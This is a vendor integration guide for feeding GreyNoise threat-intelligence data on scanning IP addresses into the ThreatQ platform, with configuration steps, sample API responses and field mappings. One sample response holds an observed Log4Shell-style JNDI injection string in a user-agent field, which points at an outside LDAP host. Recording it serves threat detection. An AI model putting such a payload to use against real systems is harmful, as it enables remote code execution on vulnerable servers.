

ThreatQuotient



GreyNoise CDF

Version 1.5.2

August 26, 2024

ThreatQuotient

20130 Lakeview Center Plaza Suite 400
Ashburn, VA 20147

 **ThreatQ Supported**

Support

Email: support@threatq.com

Web: support.threatq.com

Phone: 703.574.9893

Contents

Warning and Disclaimer	3
Support	4
Integration Details.....	5
Introduction	6
Installation.....	7
Configuration	8
GreyNoise Feed Configuration Parameters	8
GreyNoise Enrichment Configuration Parameters	10
ThreatQ Mapping.....	12
GreyNoise.....	12
GreyNoise Enrichment (Feed)	15
Context.....	15
Riot.....	16
Average Feed Run.....	19
GreyNoise.....	19
GreyNoise Enrichment	19
Known Issues / Limitations	20
Change Log	21

Warning and Disclaimer

ThreatQuotient, Inc. provides this document “as is”, without representation or warranty of any kind, express or implied, including without limitation any warranty concerning the accuracy, adequacy, or completeness of such information contained herein. ThreatQuotient, Inc. does not assume responsibility for the use or inability to use the software product as a result of providing this information.

Copyright © 2024 ThreatQuotient, Inc.

All rights reserved. This document and the software product it describes are licensed for use under a software license agreement. Reproduction or printing of this document is permitted in accordance with the license agreement.

Support

This integration is designated as **ThreatQ Supported**.

Support Email: support@threatq.com

Support Web: <https://support.threatq.com>

Support Phone: 703.574.9893

Integrations/apps/add-ons designated as **ThreatQ Supported** are fully supported by ThreatQuotient's Customer Support team.

ThreatQuotient strives to ensure all ThreatQ Supported integrations will work with the current version of ThreatQuotient software at the time of initial publishing. This applies for both Hosted instance and Non-Hosted instance customers.



ThreatQuotient does not provide support or maintenance for integrations, apps, or add-ons published by any party other than ThreatQuotient, including third-party developers.

Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version 1.5.2

**Compatible with ThreatQ
Versions** $\geq 4.58.0$

Support Tier ThreatQ Supported

Introduction

GreyNoise collects, analyzes, and labels data on IPs that saturate security tools with noise. This unique perspective helps analysts waste less time on irrelevant or harmless activity, and spend more time focused on targeted and emerging threats.

The GreyNoise CDF provides the following feeds:

- **GreyNoise** - ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.
- **GreyNoise Enrichment** - queries GreyNoise with IP Addresses from a Threat Collection and enriches those IP Addresses with the data that it ingests.

The following system object types are ingested by the integration:

- Indicators
 - Indicator Attributes
- Tags

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the integration file on your local machine
6. Select the feeds to install, when prompted, and click **Install**.



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

7. The feeds will be added to the integrations page. You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).
3. Click on the integration entry to open its details page.
4. Enter the following parameters under the **Configuration** tab:

GreyNoise Feed Configuration Parameters

PARAMETER	DESCRIPTION
API Token	Your GreyNoise API Token.
Last Seen Time Range	The date the device was most recently observed by GreyNoise. You can use the keyword <code>today</code> or <code>1d</code> to specify how many days to go back.
GNQL Query	ThreatQuotient highly recommends utilizing this parameter to narrow down the ingested dataset. The field allows you to specify query arguments other than <code>last_seen</code> field, which is the default. See the https://docs.greynoise.io/reference/gnqlquery-1 documentation for instructions on how to build a GNQL query.
Attribute Filter	Select the pieces of context, attributes and tags, to ingest into the platform. Options include: ◦ Tags (default) ◦ Classification (default) ◦ Malware Family (default) ◦ Actor (default) ◦ Category (default) ◦ CVE (default) ◦ Country ◦ Country Code (default) ◦ City ◦ Is TOR (default) ◦ Is VPN (default) ◦ Is Spoofable ◦ Is Bot ◦ VPN Service ◦ Operating System ◦ ASN ◦ rDNS ◦ Scanned Paths

PARAMETER

DESCRIPTION

- Destination Countries
- Organization
- Scanned Ports

Items per Page

The number of items to return per page from the GreyNoise API.



You should lower this value if you are encountering 400 errors when running the feed.

< GreyNoise



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration

Activity Log

API Key 

Your GreyNoise API Key

Last Seen Time Range

The date the device was most recently observed by GreyNoise (YYYY-MM-DD)

GNQL Query

This query allows you to specify additional query arguments. Using this field is required in order to limit the amount of data that is ingested.

Attribute Filter

Select the pieces of context (Attributes & Tags) to bring into ThreatQ.

- ☐ Tags
- ☐ Classification
- ☐ Malware Family
- ☐ Actor (Not APTs)
- ☐ Category
- ☐ CVE
- ☐ Country
- ☐ Country Code
- ☐ City
- ☐ Destination Countries
- ☐ Organization

GreyNoise Enrichment Configuration Parameters

PARAMETER	DESCRIPTION
Data Collection Hash	The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection. The hash will be in the browser's URL. Example: <code>https:// /threat-library#38d08c87b6e81a37a8591444f8c5dba5</code>
API Token	Your GreyNoise API Token.
Attribute Filter	Select the pieces of context, attributes and tags, to ingest into the platform. Options include: ◦ Tags (default) ◦ Classification (default) ◦ Malware Family (default) ◦ Actor (default) ◦ Category (default) ◦ CVE (default) ◦ Country ◦ Country Code (default) ◦ City ◦ Destination Countries ◦ Organization ◦ Is TOR (default) ◦ Is VPN (default) ◦ Is Spoofable ◦ Is Bot ◦ VPN Service ◦ Operating System ◦ ASN ◦ rDNS ◦ Scanned Paths ◦ Scanned Ports

< GreyNoise Enrichment



Disabled ☒ Enabled

Run Integration

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

Data Collection Hash

The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection.

API Key

Your GreyNoise API Key

Attribute Filter

Select the pieces of context (Attributes & Tags) to bring into ThreatQ.

- ☒ Tags
- ☐ Classification
- ☐ Malware Family
- ☐ Actor (Not APTs)
- ☐ Category
- ☐ CVE
- ☒ Country
- ☐ Country Code
- ☐ City
- ☐ Destination Countries

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

GreyNoise

The GreyNoise feed ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.

GET <https://api.greynoise.io/v2/experimental/gnql>

Sample Response:

```
{
  "complete": false,
  "count": 23178,
  "data": [
    {
      "ip": "114.25.66.87",
      "seen": true,
      "classification": "malicious",
      "first_seen": "2019-07-28",
      "last_seen": "2019-07-28",
      "actor": "CRAZY PANDA23",
      "tags": [
        "SMB Scanner",
        "Eternalblue"
      ],
      "metadata": {
        "country": "Taiwan, Province of China",
        "country_code": "TW",
        "city": "Nankang",
        "organization": "Data Communication Business Group",
        "rdns": "114-25-66-87.dynamic-ip.hinet.net",
        "asn": "AS3462",
        "tor": false,
        "os": "Windows 7/8",
        "category": "isp",
        "region": "Brussels Capital",
        "destination_countries": ["United Kingdom"]
      },
      "raw_data": {
        "scan": [
          {
            "port": 445,
            "protocol": "TCP"
          }
        ],
        "web": {
          "paths": [
```

```

        "/",
        "/bootstrap/3.3.6/css/bootstrap.min.css"
    ],
    "useragents": [
        "Hello, world",
        "${jndi:ldap://179.43.175.101:1389/gm7unt}"
    ]
},
"ja3": []
},
"cve": [
    "CVE-2016-6277",
    "CVE-2016-6563"
],
"bot": true,
"vpn": true,
"vpn_service": "Express VPN",
"spoofable": true
}
],
"message": "ok",
"query": "classification:malicious AND last_seen:today",
"scroll":
"FGluY2x1ZGVfY29udGV4dF91dWlkDnF1ZXJ5VGhlbkZldGNoBRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjN3AAAAAAuCRswSjRhYk1qMGpRVlctSklpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAAsLldcWWVBucXpfcnhRU2E3QTNaWG1SWlBzURZhUTg4NDExS1FpYXZvcTNTdVktMm93AAAAAAjYxu0WMk85akRMUnlTZ3EwWmxDYzRtSnJDQRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjN3AAAAAAuCRs0WSjRhYk1qMGpRVlctSklpCMllyS3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAAsLldgWWVBucXpfcnhRU2E3QTNaWG1SWlBzUQ=="
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
.data[].ip	Related Indicator.Value	IP Address	.data[].first_seen	114.25.66.87	N/A
.data[].actor	Indicator.Attribute	Actor	.data[].first_seen	CRAZY PANDA	If this is 'unknown', it will be ignored
.data[].cve[]	Indicator.Attribute	N/A	.data[].first_seen	CVE-2016-6277	N/A
.data[].tags[]	Indicator.Tags	N/A	.data[].first_seen	Eternalblue	N/A
.data[].classification	Indicator.Attribute	Classification	.data[].first_seen	malicious	N/A
.data[].metadata.country	Indicator.Attribute	Country	.data[].first_seen	Taiwan, Province of China	N/A
.data[].metadata.country_code	Indicator.Attribute	Country Code	.data[].first_seen	TW	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].metadata.a.city</code>	Indicator.Attribute	City	<code>.data[].first_seen</code>	Nankang	N/A
<code>.data[].metadata.a.destination_countries</code>	Indicator.Attribute	Destination Country	<code>.data[].first_seen</code>	United Kingdom	N/A
<code>.data[].metadata.a.region</code>	Indicator.Attribute	Region	<code>.data[].first_seen</code>	Brussels Capital	N/A
<code>.data[].metadata.a.organization</code>	Indicator.Attribute	Organization	<code>.data[].first_seen</code>	Data Communication Business Group	N/A
<code>.data[].metadata.a.asn</code>	Indicator.Attribute	ASN	<code>.data[].first_seen</code>	AS3462	N/A
<code>.data[].metadata.a.tor</code>	Indicator.Attribute	Is Tor	<code>.data[].first_seen</code>	true/false	This is converted to a Yes/No attribute value
<code>.data[].metadata.a.os</code>	Indicator.Attribute	Operating System	<code>.data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.a.rdns</code>	Indicator.Attribute	FQDN	<code>.data[].first_seen</code>	114-25-66-87.dynamic-ip.hinet.net	N/A
<code>.data[].metadata.a.category</code>	Indicator.Attribute	Category	<code>.data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>.data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>.data[].first_seen</code>	Express VPN	N/A
<code>.data[].raw_data.scan.port[]</code>	Indicator.Attribute	Scanned Port	<code>.data[].first_seen</code>	445	N/A
<code>.data[].tags[]</code>	Indicator.Attribute	Malware Family	<code>.data[].first_seen</code>	Mirai	N/A

GreyNoise Enrichment (Feed)

The GreyNoise Enrichment feed enriches IP Addresses from a given Threat Collection with information from GreyNoise.

POST <https://api.greynoise.io/v2/noise/multi/quick>

If the response has `"noise": true`, then proceed to use the Context API endpoint on the IP Address.

If the response has `"riot": true`, then proceed to use the RIOT API endpoint on the IP Address.

Sample Response:

```
[
  {
    "ip": "186.33.111.236",
    "noise": true,
    "riot": false,
    "code": "0x01"
  },
  {
    "ip": "8.8.8.8",
    "noise": false,
    "riot": true,
    "code": "0x09"
  }
]
```

Context

POST <https://api.greynoise.io/v2/noise/multi/context>

Sample Response:

```
{
  "data": [
    {
      "found": false,
      "ip": "186.3.111.236",
      "first_seen": "",
      "last_seen": "",
      "seen": false,
      "tags": null,
      "actor": "",
      "spoofable": false,
      "classification": "",
      "cve": null,
      "bot": false,
      "vpn": false,
      "vpn_service": "",
      "metadata": {
```

```

    "asn": "",
    "city": "",
    "country": "",
    "country_code": "",
    "organization": "",
    "category": "",
    "tor": false,
    "rdns": "",
    "os": ""
  },
  "raw_data": {
    "scan": [],
    "web": {},
    "ja3": [],
    "hassh": []
  }
},
],
"message": "ok",
"results": 1
}

```

Riot

GET <https://api.greynoise.io/v2/riot/{{value.ip}}>

Sample Response:

```

{
  "ip": "8.8.8.8",
  "riot": true,
  "category": "public_dns",
  "name": "Google Public DNS",
  "description": "Google's global domain name system (DNS) resolution service.",
  "explanation": "Public DNS services are used as alternatives to ISP's name servers. You may see devices on your network communicating with Google Public DNS over port 53/TCP or 53/UDP to resolve DNS lookups.",
  "last_updated": "2021-11-24T19:42:13Z",
  "logo_url": "https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg",
  "reference": "https://developers.google.com/speed/public-dns/docs/isp#alternative",
  "trust_level": "1"
}

```

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].ip</code>	Related Indicator.Value	IP Address	<code>data[].first_seen</code>	114.25.66.87	N/A
<code>.data[].actor</code>	Indicator.Attribute	N/A	<code>data[].first_seen</code>	Google	If 'Actor (Not APTs)' user config is checked. If this is 'unknown', it will be ignored
<code>.data[].tags[]</code>	Indicator.Tags	N/A	N/A	Eternalblue	If 'Tags' user config is checked
<code>.data[].classification</code>	Indicator.Attribute	Classification	<code>data[].first_seen</code>	malicious	If 'Classification' user config is checked. For this feed, this will always be 'malicious'
<code>.data[].cve[]</code>	Indicator.Attribute	CVE	<code>data[].first_seen</code>	N/A	If 'CVE' user config is checked
<code>.data[].metadata.rdns</code>	Indicator.Attribute	rDNS	<code>data[].first_seen</code>	114-25-66-87.dyn-amic-ip.hinet.net	If 'rDNS' user config is checked
<code>.data[].metadata.country</code>	Indicator.Attribute	Country	<code>data[].first_seen</code>	Taiwan, Province of China	If 'Country' user config is checked
<code>.data[].metadata.country_code</code>	Indicator.Attribute	Country Code	<code>data[].first_seen</code>	TW	If 'Country Code' user config is checked
<code>.data[].metadata.city</code>	Indicator.Attribute	City	<code>data[].first_seen</code>	Nankang	If 'City' user config is checked
<code>.data[].metadata.destination_countries</code>	Indicator.Attribute	Destination Country	<code>.data[].first_seen</code>	United Kingdom	N/A
<code>.data[].metadata.organization</code>	Indicator.Attribute	Organization	<code>data[].first_seen</code>	Data Communication Business Group	If 'Organization' user config is checked
<code>.data[].metadata.asn</code>	Indicator.Attribute	ASN	<code>data[].first_seen</code>	AS3462	If 'ASN' user config is checked
<code>.data[].metadata.tor</code>	Indicator.Attribute	Is Tor	<code>data[].first_seen</code>	true/false	If 'Is TOR' user config is checked. This is converted to a yes/no
<code>.data[].metadata.os</code>	Indicator.Attribute	Operating System	<code>data[].first_seen</code>	Windows 7/8	If 'Operating System' user config is checked
<code>.data[].metadata.category</code>	Indicator.Attribute	Category	<code>data[].first_seen</code>	isp	If 'Category' user config is checked
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	If 'Scanned Paths' user config is checked.
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>data[].first_seen</code>	Yes	If 'Is Bot' user config is checked. Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>data[].first_seen</code>	Yes	If 'Is VPN' user config is checked. Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>data[].first_seen</code>	Yes	If 'Is Spoofable' user config is checked. Boolean -> Yes/No

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>data[].first_seen</code>	Express VPN	If 'VPN Service' user config is checked.
<code>.data[].name</code>	Indicator.Attribute	Name	<code>data[].first_seen</code>	Google Public DNS	N/A
<code>.data[].code</code>	Indicator.Attribute	Noise Code	<code>data[].first_seen</code>	This IP was found in RIOT	N/A
<code>.data[].trust_level</code>	Indicator.Attribute	Trust Level	<code>data[].first_seen</code>	Trustworthy	N/A
<code>.data[].reference</code>	Indicator.Attribute	Reference	<code>data[].first_seen</code>	https://developers.google.com/speed/public-dns/docs/isp#alternative	N/A
<code>.data[].explanation</code>	Indicator.Attribute	Explanation	<code>data[].first_seen</code>	Public DNS services are used as alternatives to ISP's name servers...	N/A
<code>.data[].description</code>	Indicator.Attribute	Description	<code>data[].first_seen</code>	Google's global domain name system (DNS) resolution service.	N/A
<code>.data[].tags[]</code>	Indicator.Attribute	Malware Family	<code>data[].first_seen</code>	Mirai	If 'Malware' user config is checked

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

GreyNoise

METRIC	RESULT
Run Time	1 minute
Indicators	1,186
Indicator Attributes	25,097

GreyNoise Enrichment

METRIC	RESULT
Run Time	1 minute
Indicators	80
Indicator Attributes	8,191

Known Issues / Limitations

- The current implementation of Greynoise feed will not prevent the timeout errors from occurring, but it will minimize them. Also, should the error occur, the integration will still ingest the information it has received up to that point. Users should include as many limiting search parameters as they can in order to prevent any timeout errors they might encounter from the Greynoise API.

Change Log

- **Version 1.5.2**
 - Added the ability to ingest the `Destination Country` attribute.
- **Version 1.5.1**
 - Added the GreyNoise feed back into the integration.
 - The **user agent** has been updated to be unique for each feed.
- **Version 1.5.0**
 - Added configuration field, **Attribute Filter**, that allows you to select which context is ingested into the ThreatQ platform.
 - Resolved an issue where certain attributes would only be ingested if the **vpn** attribute existed.
 - Lowered the default limit parameter to prevent hitting pagination scroll ID timeouts. The parameter is now configurable from the configuration page: **Items per Page**.
 - Updated the minimum ThreatQ version to 4.58.0.
 - Fixed typo for the rDNS attribute (was RDSN)
 - Removed Greynoise feed due to Greynoise limitations regarding large data ingestion
- **Version 1.4.0**
 - Improved integration performance by saving CVE, Malware, RDNS, and ASN as attributes.
 - Removed the **Ingest CVEs** parameter from the configuration page.
- **Version 1.3.0**
 - Fixed a filter error with the GreyNoise Enrichment feed that would occur when GreyNoise did not return any enrichment data.
 - Added a manual run option for the GreyNoise Enrichment feed.
- **Version 1.2.0**
 - Added new GreyNoise Enrichment feed.
 - Add new user configuration fields for GreyNoise feed.
- **Version 1.1.0**
 - Added new user field.
 - Added published date to all attributes.
 - Added tags.
- **Version 1.0.1**
 - Limited the number of ingested `paths` attributes to 9000 to improve integration performance.
- **Version 1.0.0**
 - Initial Release